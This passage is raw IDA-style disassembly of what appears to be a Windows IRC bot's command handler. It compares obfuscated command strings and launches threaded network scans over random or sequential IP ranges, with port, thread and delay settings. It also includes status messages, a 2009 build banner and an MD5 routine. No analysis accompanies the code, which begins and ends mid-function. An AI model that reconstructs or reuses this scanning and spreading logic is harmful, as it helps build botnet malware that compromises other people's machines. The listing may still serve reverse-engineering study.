mov [ebp+var_20], eax mov dword ptr [ebp+var_C+4], eax call edi ; dword_437178 test eax, eax jnz short loc_413F56 mov eax, dword_43A8C8 mov [ebp+var_4], 1 mov [ebp+arg_8], eax loc_413F56: ; CODE XREF: sub_40A9FE+9547j push dword ptr [ebx] push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" call edi ; dword_437178 test eax, eax jnz short loc_413F72 mov eax, dword_43A8CC mov [ebp+var_1C], 1 mov [ebp+arg_8], eax loc_413F72: ; CODE XREF: sub_40A9FE+9563j push dword ptr [ebx] push offset a8im6i__c829_ ; "8Im6i..C829." call edi ; dword_437178 test eax, eax jnz short loc_413F8E mov eax, dword_43A8D0 mov [ebp+var_28], 1 mov [ebp+arg_8], eax loc_413F8E: ; CODE XREF: sub_40A9FE+957Fj push dword ptr [ebx] push offset aTiyj208fhvn_ ; "tIYj208FHvN." call edi ; dword_437178 test eax, eax jnz short loc_413FAA mov eax, dword_43A8D4 mov dword ptr [ebp+var_14], 1 mov [ebp+arg_8], eax loc_413FAA: ; CODE XREF: sub_40A9FE+959Bj push dword ptr [ebx] push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1" call edi ; dword_437178 test eax, eax jnz short loc_413FC6 mov eax, dword_43A8D8 mov [ebp+var_24], 1 mov [ebp+arg_8], eax loc_413FC6: ; CODE XREF: sub_40A9FE+95B7j push dword ptr [ebx] push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60" call edi ; dword_437178 test eax, eax jnz short loc_413FE2 mov eax, dword_43A8DC mov [ebp+var_18], 1 mov [ebp+arg_8], eax loc_413FE2: ; CODE XREF: sub_40A9FE+95D3j push dword ptr [ebx] push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1" call edi ; dword_437178 test eax, eax jnz short loc_413FFE mov eax, dword_43A8E0 mov [ebp+var_20], 1 mov [ebp+arg_8], eax loc_413FFE: ; CODE XREF: sub_40A9FE+95EFj push dword ptr [ebx] push offset aFu6k10irsc1 ; "fu6k10iRsc/1" call edi ; dword_437178 test eax, eax jnz short loc_41401A mov eax, dword_43A8E4 mov dword ptr [ebp+var_C+4], 1 mov [ebp+arg_8], eax loc_41401A: ; CODE XREF: sub_40A9FE+960Bj push 8 call sub_423800 push dword ptr [ebx+4] mov [ebp+arg_C], eax call sub_42A100 add eax, [ebp+arg_C] pop ecx pop ecx mov edi, offset aSSD_ ; "%s %s (%d)." cmp eax, 1C2h jle short loc_414086 cmp [ebp+arg_14], 0 jnz short loc_414065 cmp [ebp+arg_18], 0 jnz short loc_41406B push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_414065: ; CODE XREF: sub_40A9FE+9643j cmp [ebp+arg_18], 0 jz short loc_414086 loc_41406B: ; CODE XREF: sub_40A9FE+9649j push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 18h loc_414086: ; CODE XREF: sub_40A9FE+963Dj ; sub_40A9FE+966Bj and [ebp+arg_68], 0 cmp [ebp+arg_8], 0 jle loc_414995 loc_414094: ; CODE XREF: sub_40A9FE+9C32j push dword ptr [ebx+4] call sub_42A100 cdq idiv [ebp+arg_8] mov [ebp+var_BC], eax push dword ptr [ebx+4] call sub_42A100 cdq idiv [ebp+arg_8] pop ecx pop ecx cmp eax, 64h jle short loc_4140C3 mov [ebp+var_BC], 64h loc_4140C3: ; CODE XREF: sub_40A9FE+96B9j push dword ptr [ebx+8] call sub_42A100 cmp eax, 1 pop ecx mov [ebp+var_D0], eax jnb short loc_4140E0 xor eax, eax inc eax mov [ebp+var_D0], eax loc_4140E0: ; CODE XREF: sub_40A9FE+96D7j push 3 pop ecx cmp eax, ecx jbe short loc_4140ED mov [ebp+var_D0], ecx loc_4140ED: ; CODE XREF: sub_40A9FE+96E7j push dword ptr [ebx+0Ch] call sub_42A100 cmp eax, 270Fh pop ecx mov [ebp+var_CC], eax jbe short loc_41410D mov [ebp+var_CC], 270Fh loc_41410D: ; CODE XREF: sub_40A9FE+9703j mov eax, [ebp+arg_14] or [ebp+var_B8], 0FFFFFFFFh and [ebp+arg_C], 0 cmp dword_43A378, 0 mov dword_454A48, eax mov eax, [ebp+arg_20] mov dword_454A4C, eax mov eax, [ebp+arg_18] mov dword_454A50, eax jz loc_41427C mov [ebp+arg_4], offset aD1 ; "d1" loc_414144: ; CODE XREF: sub_40A9FE+985Cj cmp [ebp+var_4], 0 jz short loc_414167 mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A7C8 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz loc_414262 loc_414167: ; CODE XREF: sub_40A9FE+974Aj cmp [ebp+var_1C], 0 jz short loc_41418A mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A7E8 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz loc_414262 loc_41418A: ; CODE XREF: sub_40A9FE+976Dj cmp [ebp+var_28], 0 jz short loc_4141AD mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A808 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz loc_414262 loc_4141AD: ; CODE XREF: sub_40A9FE+9790j cmp dword ptr [ebp+var_14], 0 jz short loc_4141D0 mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A828 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz loc_414262 loc_4141D0: ; CODE XREF: sub_40A9FE+97B3j cmp [ebp+var_24], 0 jz short loc_4141EF mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A848 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_414262 loc_4141EF: ; CODE XREF: sub_40A9FE+97D6j cmp [ebp+var_18], 0 jz short loc_41420E mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A868 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_414262 loc_41420E: ; CODE XREF: sub_40A9FE+97F5j cmp [ebp+var_20], 0 jz short loc_41422D mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A888 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_414262 loc_41422D: ; CODE XREF: sub_40A9FE+9814j cmp dword ptr [ebp+var_C+4], 0 jz short loc_41424C mov eax, [ebp+arg_68] shl eax, 4 add eax, offset dword_43A8A8 push eax push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_414262 loc_41424C: ; CODE XREF: sub_40A9FE+9833j add [ebp+arg_4], 40h inc [ebp+arg_C] mov eax, [ebp+arg_4] cmp dword ptr [eax+30h], 0 jnz loc_414144 jmp short loc_41427C ; --------------------------------------------------------------------------- loc_414262: ; CODE XREF: sub_40A9FE+9763j ; sub_40A9FE+9786j ... mov eax, [ebp+arg_C] mov ecx, eax mov [ebp+var_B8], eax shl ecx, 6 mov ecx, dword_43A378[ecx] mov [ebp+var_D4], ecx loc_41427C: ; CODE XREF: sub_40A9FE+9739j ; sub_40A9FE+9862j xor ecx, ecx cmp [ebp+var_D4], ecx jnz short loc_4142CE cmp [ebp+arg_14], ecx jnz short loc_4142A8 cmp [ebp+arg_18], ecx jnz short loc_4142B2 push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset aSInvalidPort_ ; "%s Invalid port." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_4142A8: ; CODE XREF: sub_40A9FE+988Bj cmp [ebp+arg_18], 0 jz loc_414627 loc_4142B2: ; CODE XREF: sub_40A9FE+9890j push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset aSPortInvalid_ ; "%s Port invalid." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h jmp loc_414627 ; --------------------------------------------------------------------------- loc_4142CE: ; CODE XREF: sub_40A9FE+9886j mov eax, [ebx+10h] cmp eax, ecx jz loc_414360 push eax push offset aX_x_x_x ; "x.x.x.x" call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_414331 call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx loc_4142F6: ; CODE XREF: sub_40A9FE+990Bj call sub_429B9C cdq mov ecx, 0E1h idiv ecx add edx, 4 cmp edx, 7Fh jz short loc_4142F6 push edx push offset aD_x_x_x ; "%d.x.x.x" lea eax, [ebp+var_164] push 10h push eax call sub_429BBE add esp, 10h loc_414322: ; CODE XREF: sub_40A9FE+9ADDj ; sub_40A9FE+9AE5j ... mov [ebp+var_A8], 1 jmp loc_414514 ; --------------------------------------------------------------------------- loc_414331: ; CODE XREF: sub_40A9FE+98E9j push dword ptr [ebx+10h] lea eax, [ebp+var_164] push 10h push eax call sub_429BBE push 78h push dword ptr [ebx+10h] call sub_42B1A0 add esp, 14h neg eax sbb eax, eax neg eax loc_414355: ; CODE XREF: sub_40A9FE+9A5Bj mov [ebp+var_A8], eax jmp loc_414514 ; --------------------------------------------------------------------------- loc_414360: ; CODE XREF: sub_40A9FE+98D5j cmp [ebp+arg_64], ecx jnz short loc_4143B1 cmp [ebp+arg_54], ecx jnz short loc_41437D cmp [ebp+arg_58], ecx jnz short loc_41437D cmp [ebp+arg_5C], ecx jnz short loc_41437D cmp [ebp+arg_60], ecx jz loc_41470A loc_41437D: ; CODE XREF: sub_40A9FE+996Aj ; sub_40A9FE+996Fj ... mov ecx, [ebp+arg_10] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_80] push eax mov [ebp+var_40], 10h call sub_41DB68 push eax call dword_456EB8 ; getsockname cmp [ebp+arg_54], 0 jz loc_41445E and [ebp+var_7C], 0FFh jmp loc_414475 ; --------------------------------------------------------------------------- loc_4143B1: ; CODE XREF: sub_40A9FE+9965j cmp [ebp+arg_54], ecx jz short loc_4143BF mov [ebp+arg_C], 1 jmp short loc_4143DD ; --------------------------------------------------------------------------- loc_4143BF: ; CODE XREF: sub_40A9FE+99B6j cmp [ebp+arg_58], ecx jz short loc_4143CD mov [ebp+arg_C], 2 jmp short loc_4143DD ; --------------------------------------------------------------------------- loc_4143CD: ; CODE XREF: sub_40A9FE+99C4j cmp [ebp+arg_5C], ecx jz loc_414711 mov [ebp+arg_C], 3 loc_4143DD: ; CODE XREF: sub_40A9FE+99BFj ; sub_40A9FE+99CDj push offset byte_454A54 push offset dword_457C40 call dword_437178 ; lstrcmpiA test eax, eax jz short loc_414400 push offset dword_457C40 call sub_41E4C1 test eax, eax pop ecx jz short loc_414429 loc_414400: ; CODE XREF: sub_40A9FE+99F1j mov ecx, [ebp+arg_10] call sub_41DB58 mov ecx, [ebp+arg_10] push eax call sub_41CF25 push 2710h push eax mov [ebp+arg_4], eax call dword_43707C ; WaitForSingleObject push [ebp+arg_4] call dword_437044 ; CloseHandle loc_414429: ; CODE XREF: sub_40A9FE+9A00j push [ebp+arg_C] push [ebp+arg_60] push offset dword_457C40 call sub_401F54 add esp, 0Ch test eax, eax jz loc_414995 push 10h push eax lea eax, [ebp+var_164] push eax call sub_429D10 mov eax, [ebp+arg_60] add esp, 0Ch jmp loc_414355 ; --------------------------------------------------------------------------- loc_41445E: ; CODE XREF: sub_40A9FE+99A1j cmp [ebp+arg_58], 0 jz short loc_41446B and word ptr [ebp+var_7C+2], 0 jmp short loc_414475 ; --------------------------------------------------------------------------- loc_41446B: ; CODE XREF: sub_40A9FE+9A64j cmp [ebp+arg_5C], 0 jz short loc_414475 and byte ptr [ebp+var_7C+3], 0 loc_414475: ; CODE XREF: sub_40A9FE+99AEj ; sub_40A9FE+9A6Bj ... push 10h push [ebp+var_7C] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_164] push eax call sub_429D10 add esp, 0Ch cmp [ebp+arg_60], 0 jz short loc_41450D xor eax, eax cmp [ebp+arg_54], eax mov [ebp+arg_4], eax jz short loc_4144A9 mov [ebp+arg_4], 3 jmp short loc_4144C3 ; --------------------------------------------------------------------------- loc_4144A9: ; CODE XREF: sub_40A9FE+9AA0j cmp [ebp+arg_58], eax jz short loc_4144B7 mov [ebp+arg_4], 2 jmp short loc_4144C3 ; --------------------------------------------------------------------------- loc_4144B7: ; CODE XREF: sub_40A9FE+9AAEj cmp [ebp+arg_5C], eax jz short loc_4144C3 mov [ebp+arg_4], 1 loc_4144C3: ; CODE XREF: sub_40A9FE+9AA9j ; sub_40A9FE+9AB7j ... lea eax, [ebp+var_164] push 30h push eax call sub_42B060 and byte ptr [ebp+arg_C+3], 0 cmp [ebp+arg_4], 0 pop ecx pop ecx jle loc_414322 loc_4144E1: ; CODE XREF: sub_40A9FE+9B08j test eax, eax jz loc_414322 mov byte ptr [eax], 78h lea eax, [ebp+var_164] push 30h push eax call sub_42B060 inc byte ptr [ebp+arg_C+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_C+3] cmp ecx, [ebp+arg_4] jl short loc_4144E1 jmp loc_414322 ; --------------------------------------------------------------------------- loc_41450D: ; CODE XREF: sub_40A9FE+9A96j and [ebp+var_A8], 0 loc_414514: ; CODE XREF: sub_40A9FE+992Ej ; sub_40A9FE+995Dj mov eax, [ebp+arg_14] mov ecx, [ebp+arg_10] mov [ebp+var_B4], eax mov eax, [ebp+arg_20] mov [ebp+var_AC], eax mov eax, [ebp+arg_18] mov [ebp+var_B0], eax mov [ebp+var_9C], ecx test eax, eax lea eax, [ebp+var_154] jz short loc_414549 push offset dword_443F14 jmp short loc_41454E ; --------------------------------------------------------------------------- loc_414549: ; CODE XREF: sub_40A9FE+9B42j push offset dword_443F1C loc_41454E: ; CODE XREF: sub_40A9FE+9B49j push eax call dword_4370B4 ; lstrcpyA cmp [ebp+var_A8], 0 mov eax, offset aRandom ; "Random" jnz short loc_414568 mov eax, offset aSequential ; "Sequential" loc_414568: ; CODE XREF: sub_40A9FE+9B63j push [ebp+var_BC] lea ecx, [ebp+var_164] push [ebp+var_CC] push [ebp+var_D0] push [ebp+var_D4] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"... push 8 call sub_4234A7 add esp, 28h mov [ebp+var_C8], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_164] push eax xor eax, eax push eax push ecx push offset sub_402459 push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_C8] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_414643 cmp [ebp+arg_14], eax jnz short loc_414602 cmp [ebp+arg_18], eax jnz short loc_414608 call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_414602: ; CODE XREF: sub_40A9FE+9BDDj cmp [ebp+arg_18], 0 jz short loc_414627 loc_414608: ; CODE XREF: sub_40A9FE+9BE2j call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 18h loc_414627: ; CODE XREF: sub_40A9FE+98AEj ; sub_40A9FE+98CBj ... inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_8] jl loc_414094 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41463B: ; CODE XREF: sub_40A9FE+9C4Cj push 32h call dword_437190 ; Sleep loc_414643: ; CODE XREF: sub_40A9FE+9BD8j cmp [ebp+var_A4], 0 jz short loc_41463B xor eax, eax cmp [ebp+arg_14], eax jnz short loc_4146AC cmp [ebp+arg_18], eax jnz short loc_4146B6 cmp [ebp+arg_1C], eax jnz short loc_414627 cmp [ebp+var_A8], eax mov eax, offset aRandom ; "Random" jnz short loc_41466F mov eax, offset aSequential ; "Sequential" loc_41466F: ; CODE XREF: sub_40A9FE+9C6Aj push [ebp+var_BC] lea ecx, [ebp+var_164] push [ebp+var_CC] push [ebp+var_D0] push [ebp+var_D4] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"... push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 2Ch loc_4146AC: ; CODE XREF: sub_40A9FE+9C53j cmp [ebp+arg_18], 0 jz loc_414627 loc_4146B6: ; CODE XREF: sub_40A9FE+9C58j cmp [ebp+var_A8], 0 mov eax, offset aRandom ; "Random" jnz short loc_4146C9 mov eax, offset aSequential ; "Sequential" loc_4146C9: ; CODE XREF: sub_40A9FE+9CC4j push [ebp+var_BC] lea ecx, [ebp+var_164] push [ebp+var_CC] push [ebp+var_D0] push [ebp+var_D4] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset aSSSSDWithADe_0 ; "%s %s %s %s:%d with a delay of %d secon"... push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 2Ch jmp loc_414627 ; --------------------------------------------------------------------------- loc_41470A: ; CODE XREF: sub_40A9FE+9979j mov edi, offset aSNoIpSpecified ; "%s No IP specified." jmp short loc_414716 ; --------------------------------------------------------------------------- loc_414711: ; CODE XREF: sub_40A9FE+99D2j mov edi, offset aSNoSubnetCla_0 ; "%s No subnet class specified" loc_414716: ; CODE XREF: sub_40A9FE+9D11j cmp [ebp+arg_14], ecx jnz short loc_414734 cmp [ebp+arg_18], ecx jnz short loc_41473E push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_414734: ; CODE XREF: sub_40A9FE+9D1Bj cmp [ebp+arg_18], 0 loc_414738: ; CODE XREF: sub_40A9FE+5FC5j jz loc_414995 loc_41473E: ; CODE XREF: sub_40A9FE+5FA6j ; sub_40A9FE+9D20j push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." loc_414743: ; CODE XREF: sub_40A9FE+C69j ; sub_40A9FE+4658j push edi loc_414744: ; CODE XREF: sub_40A9FE+2775j ; sub_40A9FE+28CBj ... push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 loc_41474E: ; CODE XREF: sub_40A9FE+55Bj ; sub_40A9FE+5E3Fj add esp, 10h jmp loc_414995 ; --------------------------------------------------------------------------- loc_414756: ; CODE XREF: sub_40A9FE+5E71j ; sub_40A9FE+5E7Aj ... mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." loc_41475B: ; CODE XREF: sub_40A9FE+927Fj ; sub_40A9FE+949Fj cmp [ebp+arg_14], eax mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_414781 cmp [ebp+arg_18], eax jnz short loc_41478A push ebx push edi push offset aSS_1 ; "%s %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h xor eax, eax loc_414781: ; CODE XREF: sub_40A9FE+9D65j cmp [ebp+arg_18], eax loc_414784: ; CODE XREF: sub_40A9FE+1540j jz loc_414995 loc_41478A: ; CODE XREF: sub_40A9FE:loc_40BF1Fj ; sub_40A9FE+9D6Aj push ebx push edi loc_41478C: ; CODE XREF: sub_40A9FE+51F0j push offset aSS_1 ; "%s %s" loc_414791: ; CODE XREF: sub_40A9FE+6FEj ; sub_40A9FE+1E94j ... push dword ptr [esi] loc_414793: ; CODE XREF: sub_40A9FE+466j ; sub_40A9FE+1C0Cj push [ebp+arg_10] call sub_41CDD4 loc_41479B: ; CODE XREF: sub_40A9FE+158j ; sub_40A9FE+280Fj ... add esp, 14h jmp loc_414995 ; --------------------------------------------------------------------------- loc_4147A3: ; CODE XREF: sub_40A9FE+1D14j ; sub_40A9FE+1D25j push dword ptr [ebx] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call edi ; dword_437178 mov ebx, eax push 3 neg ebx sbb ebx, ebx inc ebx call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_414806 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4147EE cmp [ebp+arg_18], 0 jnz short loc_4147F8 push eax push ebx push offset aFfec81uznt81 ; "fFEC81UzNT81" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4147EE: ; CODE XREF: sub_40A9FE+9DD2j cmp [ebp+arg_18], 0 jz loc_414995 loc_4147F8: ; CODE XREF: sub_40A9FE+9DD8j push [ebp+arg_C] push ebx push offset aFfec81uznt81 ; "fFEC81UzNT81" jmp loc_41491C ; --------------------------------------------------------------------------- loc_414806: ; CODE XREF: sub_40A9FE+9DC2j mov eax, [ebp+arg_14] mov [ebp+var_DA0], eax mov eax, [ebp+arg_20] mov [ebp+var_DA4], eax push dword ptr [esi+0Ch] lea eax, [ebp+var_E50] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] xor edi, edi cmp ebx, edi mov [ebp+var_E54], eax mov [ebp+var_DC0], ebx mov [ebp+var_DBC], edi mov ecx, offset aSecure ; "Secure" jnz short loc_41489A mov ecx, offset aUnsecure ; "Unsecure" mov eax, offset aJvatg1988z81 ; "jVATg1988z81" loc_414852: ; CODE XREF: sub_40A9FE+9EA1j push ecx push eax push offset aSS_ ; "%s %s." push 3 call sub_4234A7 add esp, 10h mov [ebp+var_DD0], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_E54] push edi push eax push offset sub_422009 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_DD0] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz short loc_4148B6 jmp short loc_4148A9 ; --------------------------------------------------------------------------- loc_41489A: ; CODE XREF: sub_40A9FE+9E48j mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81" jmp short loc_414852 ; --------------------------------------------------------------------------- loc_4148A1: ; CODE XREF: sub_40A9FE+9EB1j push 32h call dword_437190 ; Sleep loc_4148A9: ; CODE XREF: sub_40A9FE+9E9Aj cmp [ebp+var_D98], edi jz short loc_4148A1 jmp loc_414995 ; --------------------------------------------------------------------------- loc_4148B6: ; CODE XREF: sub_40A9FE+9E98j cmp [ebp+arg_14], 0 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4148F7 cmp [ebp+arg_18], 0 jnz short loc_414901 test ebx, ebx mov [ebp+arg_C], offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_4148D9 mov [ebp+arg_C], offset aJvatg1988z81 ; "jVATg1988z81" loc_4148D9: ; CODE XREF: sub_40A9FE+9ED2j call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push [ebp+arg_C] push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4148F7: ; CODE XREF: sub_40A9FE+9EC1j cmp [ebp+arg_18], 0 jz loc_414995 loc_414901: ; CODE XREF: sub_40A9FE+9EC7j test ebx, ebx mov ebx, offset aFfec81uznt81 ; "fFEC81UzNT81" jnz short loc_41490F mov ebx, offset aJvatg1988z81 ; "jVATg1988z81" loc_41490F: ; CODE XREF: sub_40A9FE+17FAj ; sub_40A9FE+1826j ... call dword_437170 ; RtlGetLastWin32Error push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... loc_41491B: ; CODE XREF: sub_40A9FE+95Aj ; sub_40A9FE+FA1j push ebx loc_41491C: ; CODE XREF: sub_40A9FE+9A0j ; sub_40A9FE+DD4j ... push edi loc_41491D: ; CODE XREF: sub_40A9FE+D01j ; sub_40A9FE+4BD3j ... push dword ptr [esi] loc_41491F: ; CODE XREF: sub_40A9FE+A00j push [ebp+arg_10] call sub_41CDD4 loc_414927: ; CODE XREF: sub_40A9FE+1508j add esp, 18h jmp short loc_414995 ; --------------------------------------------------------------------------- loc_41492C: ; CODE XREF: sub_40A9FE+18ADj ; sub_40A9FE+18BEj xor eax, eax cmp [ebp+arg_18], eax jnz short loc_414964 cmp [ebp+arg_20], eax mov eax, offset aBuiltOct102009 ; " Built: Oct 10 2009 20:03:55" jnz short loc_414942 mov eax, offset byte_454A54 loc_414942: ; CODE XREF: sub_40A9FE+9F3Dj push eax push offset a3c9 ; "]&3c9" push offset dword_4439BC push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSSS ; "%s %s (%s) %s" loc_414957: ; CODE XREF: sub_40A9FE+290Fj push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A jmp short loc_414992 ; --------------------------------------------------------------------------- loc_414964: ; CODE XREF: sub_40A9FE+9F33j cmp [ebp+arg_20], eax mov eax, offset aBuiltOct102009 ; " Built: Oct 10 2009 20:03:55" jnz short loc_414973 mov eax, offset byte_454A54 loc_414973: ; CODE XREF: sub_40A9FE+9F6Ej push eax push offset a3c9 ; "]&3c9" push offset dword_4439BC push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSSS ; "%s %s (%s) %s" loc_414988: ; CODE XREF: sub_40A9FE+91Aj ; sub_40A9FE+1884j ... push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 loc_414992: ; CODE XREF: sub_40A9FE+9F64j add esp, 1Ch loc_414995: ; CODE XREF: sub_40A9FE+2Bj ; sub_40A9FE+3Cj ... xor eax, eax inc eax loc_414998: ; CODE XREF: sub_40A9FE+1A9Ej ; sub_40A9FE+85F1j ... pop edi pop esi pop ebx leave retn sub_40A9FE endp ; =============== S U B R O U T I N E ======================================= sub_41499D proc near ; CODE XREF: sub_4155AA+23p push esi mov esi, ecx call sub_41557E mov eax, esi pop esi retn sub_41499D endp ; =============== S U B R O U T I N E ======================================= sub_4149A9 proc near ; CODE XREF: sub_4154D9+3p and dword ptr [ecx], 0 and dword ptr [ecx+4], 0 mov dword ptr [ecx+8], 67452301h mov dword ptr [ecx+0Ch], 0EFCDAB89h mov dword ptr [ecx+10h], 98BADCFEh mov dword ptr [ecx+14h], 10325476h retn sub_4149A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149CD proc near ; CODE XREF: sub_41535A+45p ; sub_41535A+64p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h mov eax, [ebp+arg_0] xor edx, edx push ebx push esi mov dh, [eax+3] push edi mov dl, [eax+2] movzx esi, byte ptr [eax+1] shl edx, 8 or edx, esi movzx esi, byte ptr [eax] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+5] mov [ebp+var_40], edx xor edx, edx mov dh, [eax+7] mov dl, [eax+6] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+4] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+9] mov [ebp+var_3C], edx xor edx, edx mov dh, [eax+0Bh] mov dl, [eax+0Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+8] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+0Dh] mov [ebp+var_38], edx xor edx, edx mov dh, [eax+0Fh] mov dl, [eax+0Eh] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+0Ch] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+11h] mov [ebp+var_34], edx xor edx, edx mov dh, [eax+13h] mov dl, [eax+12h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+10h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+15h] mov [ebp+var_30], edx xor edx, edx mov dh, [eax+17h] mov dl, [eax+16h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+14h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+19h] mov [ebp+var_2C], edx xor edx, edx mov dh, [eax+1Bh] mov dl, [eax+1Ah] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+18h] shl edx, 8 or edx, esi movzx esi, byte ptr [eax+1Dh] mov [ebp+var_28], edx xor edx, edx mov dh, [eax+1Fh] mov dl, [eax+1Eh] shl edx, 8 or edx, esi shl edx, 8 movzx esi, byte ptr [eax+1Ch] or edx, esi movzx esi, byte ptr [eax+21h] mov [ebp+var_24], edx xor edx, edx mov dh, [eax+23h] mov dl, [eax+22h] shl edx, 8 or edx, esi movzx 